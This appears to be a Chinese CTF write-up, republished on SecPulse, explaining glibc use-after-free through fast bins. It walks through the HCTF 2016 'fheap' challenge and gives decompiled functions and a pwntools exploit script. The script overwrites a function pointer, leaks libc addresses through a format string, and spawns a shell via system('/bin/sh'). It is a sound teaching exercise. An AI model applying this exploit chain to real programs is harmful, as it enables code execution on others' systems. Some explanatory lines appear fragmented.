Use After Free (UAF)漏洞,与heap相关,主要涉及glibc中malloc和free两种方法的特性。
通过malloc申请一定大小的内存块,使用指针p1存储内存块地址,然后再释放内存块free(p1),但没有将指针p1置空。
通过malloc再次申请和上次大小相同或相近的内存块,因fast bins机制所以本次与上次申请的内存块相同,使用指针p2存储内存块地址,并通过p2修改内存块内容。
p1没有置空,与p2都指向相同的内存块,当通过p1使用被修改过的内存块时,就会发生预期外的结果(漏洞)
源码:
//64 bit test
int main()
{
char *p1;
p1 = (char *) malloc(sizeof(char)*16);
memcpy(p1,"hello world",16);
printf("p1 addr:%p, str :%s\n",p1,p1);
free(p1);
char *p2;
p2 = (char *)malloc(sizeof(char)*24);
//p2 = (char *)malloc(sizeof(char)*16);
printf("p2 addr:%p, str :%s\n",p2,p2);
printf("Change p2\n");
memcpy(p2,"test",10);
printf("p1 addr:%p, str :%s\n",p1,p1);
return 0;
}
运行结果:
p1 addr:0x602010, str :hello world p2 addr:0x602010, str : Change p2 p1 addr:0x602010, str :test
两次申请得到内存块(地址)相同,需要满足内存管理中fast bins的条件。
Fast bins用于提高小内存的分配效率,不大于max_fast的chunk被释放后,首先会被缓存到Fast bins中。
chunk小于或等于max_fast时,首先会在fast bins中查找相应的空闲块,用于加速分配。(在32bit的系统中,max_fast的值为64;在64bit的系统中,max_fast
fast bins包含7个大小的空闲chunk
Fast bins每个bins上的chunk操作方式为LIFO
申请的大小为16,释放p1,chunk缓存在Fast bins的32B(0-24),p2申请的大小为24(或者也可为16),p1和p2都属于32B(0-24)这个范围,因此直接在Fast bin中得到chunk
题目参考源码 && 自行编译
文件功能如下:
root@ubuntu:~/uaf# ./debug +++++++++++++++++++++++++++ So, let's crash the world +++++++++++++++++++++++++++ 1.create string 2.delete string 3.quit create Pls give string size:10 str:test The string id is 0 1.create string 2.delete string 3.quit delete Pls give me the string id you want to delete id:0 Are you sure?:yes 1.create string 2.delete string 3.quit
功能简单,创建字符串并分配id;根据id删除字符串。
checksec
pwndbg> checksec [*] '/root/CTF/2016/HCTF/fheap/fheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
main函数
signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+0h] [rbp-410h]
unsigned __int64 v5; // [rsp+408h] [rbp-8h]
v5 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts("+++++++++++++++++++++++++++");
puts("So, let's crash the world");
puts("+++++++++++++++++++++++++++");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();//菜单
if ( !read(0, &buf, 0x400uLL) )
return 1LL;
if ( strncmp(&buf, "create ", 7uLL) )
break;
create(); //create string
}
if ( strncmp(&buf, "delete ", 7uLL) )
break;
delete(); //delete string
}
if ( !strncmp(&buf, "quit ", 5uLL) )
break;
puts("Invalid cmd");
}
puts("Bye~");
return 0LL;
}
create函数
unsigned __int64 create()
{
signed int i; // [rsp+4h] [rbp-102Ch]
char *string; // [rsp+8h] [rbp-1028h]
char *ex_buff; // [rsp+10h] [rbp-1020h]
size_t size; // [rsp+18h] [rbp-1018h]
size_t input_size; // [rsp+18h] [rbp-1018h]
char buf; // [rsp+20h] [rbp-1010h]
unsigned __int64 v7; // [rsp+1028h] [rbp-8h]
v7 = __readfsqword(0x28u);
string = (char *)malloc(32uLL); //申请一个大小为32(0x20)的空间
printf("Pls give string size:");
size = int_conver(); //输入字符长度,并转换为整型
if ( size <= 0x1000 )
{
printf("str:");
if ( read(0, &buf, size) == -1 ) //输入字符并读取到buf
{
puts("got elf!!");
exit(1);
}
input_size = strlen(&buf); //判断输入字符串的真实长度
if ( input_size > 15 ) //判断字符串是否大于15
{
ex_buff = (char *)malloc(input_size); //大于15则根据字符串真实长度额外申请空间
if ( !ex_buff )
{
puts("malloc faild!");
exit(1);
}
strncpy(ex_buff, &buf, input_size); //复制字符串到申请空间
*(_QWORD *)string = ex_buff; //存储额外申请空间,指针指向额外空间
*((_QWORD *)string + 3) = big_free; //存储释放函数,指针指向自定义的big_free函数
}
else
{
strncpy(string, &buf, input_size); //小于16则直接存储
*((_QWORD *)string + 3) = small_free; //存储释放函数,指针指向自定义的small_free函数
}
*((_DWORD *)string + 4) = input_size; //存储输入字符串输入长度
for ( i = 0; i <= 0xF; ++i ) // 对结构体数组进行循环
{
if ( !*((_DWORD *)&string_array + 4 * i) ) //遍历并根据索引判断是否使用
{
*((_DWORD *)&string_array + 4 * i) = 1; //若未使用则设置使用标志
*((_QWORD *)&string_array + 2 * i + 1) = string; //若未使用则存值string地址
printf("The string id is %d\n", (unsigned int)i);
break;
}
}
if ( i == 16 ) // 超出数组大小
{
puts("The string list is full");
(*((void (__fastcall **)(char *))string + 3))(string);
}
}
else
{
puts("Invalid size");
free(string);
}
return __readfsqword(0x28u) ^ v7;
}
0x20的空间(称为string),若输入的字符串长度小于16
长度,存储位置为*((_DWORD *)string + 4),8字节。
释放函数指针,存储位置为*((_QWORD *)string + 3),8字节,使用small_free
16
长度,存储位置为*((_DWORD *)string + 4),8字节。
释放函数指针,存储位置为*((_QWORD *)string + 3),8字节,使用big_free
16时,只需释放0x20
void __fastcall small_free(void *a1)
{
free(a1);
}
15
void __fastcall big_free(void **a1)
{
free(*a1);
free(a1);
}
string_array是结构体数组,数组长度为0xF,每个结构体大小为16
*((_DWORD *)&string_array + 4 * i),使用则为1。
*((_QWORD *)&string_array + 2 * i + 1)
unsigned __int64 delete()
{
int id; // [rsp+Ch] [rbp-114h]
char buf; // [rsp+10h] [rbp-110h]
unsigned __int64 v3; // [rsp+118h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Pls give me the string id you want to delete\nid:");
id = int_conver();
if ( id < 0 || id > 16 )
puts("Invalid id");
if ( *((_QWORD *)&string_array + 2 * id + 1) )
{
printf("Are you sure?:");
read(0, &buf, 0x100uLL);
if ( !strncmp(&buf, "yes", 3uLL) )
{
(*(void (__fastcall **)(_QWORD, const char *))(*((_QWORD *)&string_array + 2 * id + 1) + 24LL))(
*((_QWORD *)&string_array + 2 * id + 1), //调用释放空间函数
"yes");
*((_DWORD *)&string_array + 4 * id) = 0; //设置标志位为不使用
}
}
return __readfsqword(0x28u) ^ v3;
}
def creat(size,creat_str):
sh.recvuntil('3.quit')
sh.send('create string')
sh.recvuntil('Pls give string size:')
sh.sendline(str(size))
sh.recvuntil('str:')
sh.send(creat_str)
def delete(str_id):
sh.recvuntil('3.quit')
sh.send('delete string')
sh.recvuntil('Pls give me the string id you want to delete\nid:')
sh.sendline(str(str_id))
sh.recvuntil('Are you sure?:')
sh.send("yes")
root@ubuntu:~/uaf# objdump -M intel -d debug d52: 55 push rbp d53: 48 89 e5 mov rbp,rsp d56: 48 83 ec 10 sub rsp,0x10 d5a: 48 89 7d f8 mov QWORD PTR [rbp-0x8],rdi d5e: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] d62: 48 89 c7 mov rdi,rax d65: e8 f6 fb ff ff call 960 <free@plt> d6a: c9 leave d6b: c3 ret
对释放函数地址的最低1字节进行覆盖,就能将程序的执行流控制在dxx的范围,在该范围寻找利用即可。
包含put
d2d: e8 5e fc ff ff call 990 <puts@plt>
或printf
dbb: e8 10 fc ff ff call 9d0 <printf@plt>
通过gdb调试发现,栈上存在puts+322的地址,这里选择printf进行利用,利用格式化字符串漏洞结合glibc,获取地址。
获取puts+322地址,并计算system地址
fheap=ELF('./debug')
libc = ELF("./libc.so")
creat(4,"aa")
creat(4,"bb")
delete(1)
delete(0)
#puts的利用方式
creat(0x20,'a'*0x14+'b'*4+'\x2d')
delete(1)
delete(0)
#printf的利用方式
creat(0x20,'%38$llx'+'|'*0xd+'b'*4+'\xbb')
delete(1)
puts_addr = sh.recvuntil('|||||||||||||',drop=True)
#使程序回到菜单
sh.sendline(str(0))
sh.recvuntil('Are you sure?:')
sh.send("yes")
system_addr = libc.symbols['system'] - libc.symbols['puts'] + int("0x" + puts_addr,16) - 322
print hex(system_addr)
system函数获取
payload = '/bin/sh;'.ljust(0x18, 'B') payload += p64(system_addr) creat(0x20, payload) delete(1) sh.interactive()
若没有glibc计算偏移地址,则使用DynELF获取system地址。
首先利用puts输出string中包含的small_free地址,计算得到程序基址。
creat(0x20,'a'*0x14+'b'*4+'\x2d')
delete(1)
sh.recvuntil('bbbb')
addr = sh.recvuntil('\n',drop=True)
elf_base = u64(addr + '\x00' * (8 - len(addr))) - 0xd2d
log.success("proc base :" + hex(elf_base))
delete(0)
利用delete中的yes处实现泄露函数:
def leak_addr(addr):
payload = 'a%10$s'.ljust(0x18,'#') + '\xbb'
creat(0x20,payload)
sh.recvuntil('3.quit')
sh.sendline('delete string')
sh.recvuntil('Pls give me the string id you want to delete\nid:')
sh.sendline(str(1))
sh.recvuntil('Are you sure?:')
sh.send("yes.1111"+p64(addr)+"\n")
sh.recvuntil('a')
data = sh.recvuntil('##',drop=True)
sh.sendline(str(0))
sh.recvuntil('Are you sure?:')
sh.sendline("yes")
log.success("%#x => %s" % (addr, (data or '').encode('hex')))
return data + '\x00'
fheap.address = elf_base
dyn=DynELF(leak_addr, elf = fheap)
system_addr = dyn.lookup('system', 'libc')
log.success("system_addr : " + hex(system_addr))
本文作者:Rai4over
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/117664.html
必填 您当前尚未登录。 登录? 注册
必填(保密)